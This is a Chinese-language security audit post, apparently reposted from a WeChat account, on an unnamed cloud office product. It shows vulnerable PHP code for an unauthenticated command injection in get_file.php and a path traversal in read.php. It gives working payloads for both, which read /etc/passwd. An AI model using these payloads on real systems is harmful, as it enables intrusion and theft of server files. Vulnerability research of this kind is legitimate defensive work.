0x01 前台任意命令执行
/file/NDisk/get_file.php
// 放置在 mfs 服务器上用于获取文件列表,配合 nd_verify_large_file.php 使用
if(empty($_GET['cid']) || empty($_GET['nid']))
exit;
$cid = $_GET['cid'];
$nid = $_GET['nid'];
$mainDir = '/home/www/html/corpmgr/file/upload/NDiskData/normal/' . $cid . '/';
exec("ls {$mainDir}*_{$nid}_*", $r);
$ret = array();
foreach($r as $v)
$ret[md5_file($v)] = str_replace("/home/www/html/corpmgr/file/upload/NDiskData/normal/{$cid}/", '', $v);
echo json_encode($ret);
同时传入了cid和nid,直接给nid赋值 之后传入exec造成命令执行.
Payload:/file/NDisk/get_file.php?cid=1&nid=|cat%20/etc/passwd>1.txt|
0x02 前台任意文件读取
/file/NDisk/read.php
<?php
//error_log ( 'start downing'. "rn", 3, '/tmp/read.log' );
require_once ("constants.php");
$result = '';
//error_log ( json_encode ( $_POST ) . "rn", 3, '/tmp/read.log' );
if (! empty ( $_POST ['cid'] ) && ! empty ( $_POST ['filename'] ) && $_POST ['globaloffset'] != '') {
//判断文件是否存在
$file = ND_DATA_NORMAL . $_POST ['cid'] . '/' . $_POST ['filename'];
//error_log ( 'file=' . $file . "rn", 3, '/tmp/read.log' );
if (file_exists ( $file )) {
//读取文件
$buffer = file_get_contents ( $file, FALSE, null, $_POST ['globaloffset'], ND_READ_LENGTH );
//error_log ( 'buffer=' . strlen($buffer) . "rn", 3, '/tmp/read.log' );
$result = $buffer;
}
}
echo $result;
追踪 ND_DATA_NORMAL 变量
define ( 'ND_DATA_TEMP', '/home/www/html/corpmgr/file/upload/NDiskData/temp/' );
define ( 'ND_DATA_NORMAL', '/home/www/html/corpmgr/file/upload/NDiskData/normal/' );
define ( 'ND_READ_LENGTH', '524288' );
POST /file/NDisk/read.php HTTP/1.1
cid=../../../../../../../../etc&filename=passwd&globaloffset=0
原文始发于微信公众号(星悦安全):某云办公室审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论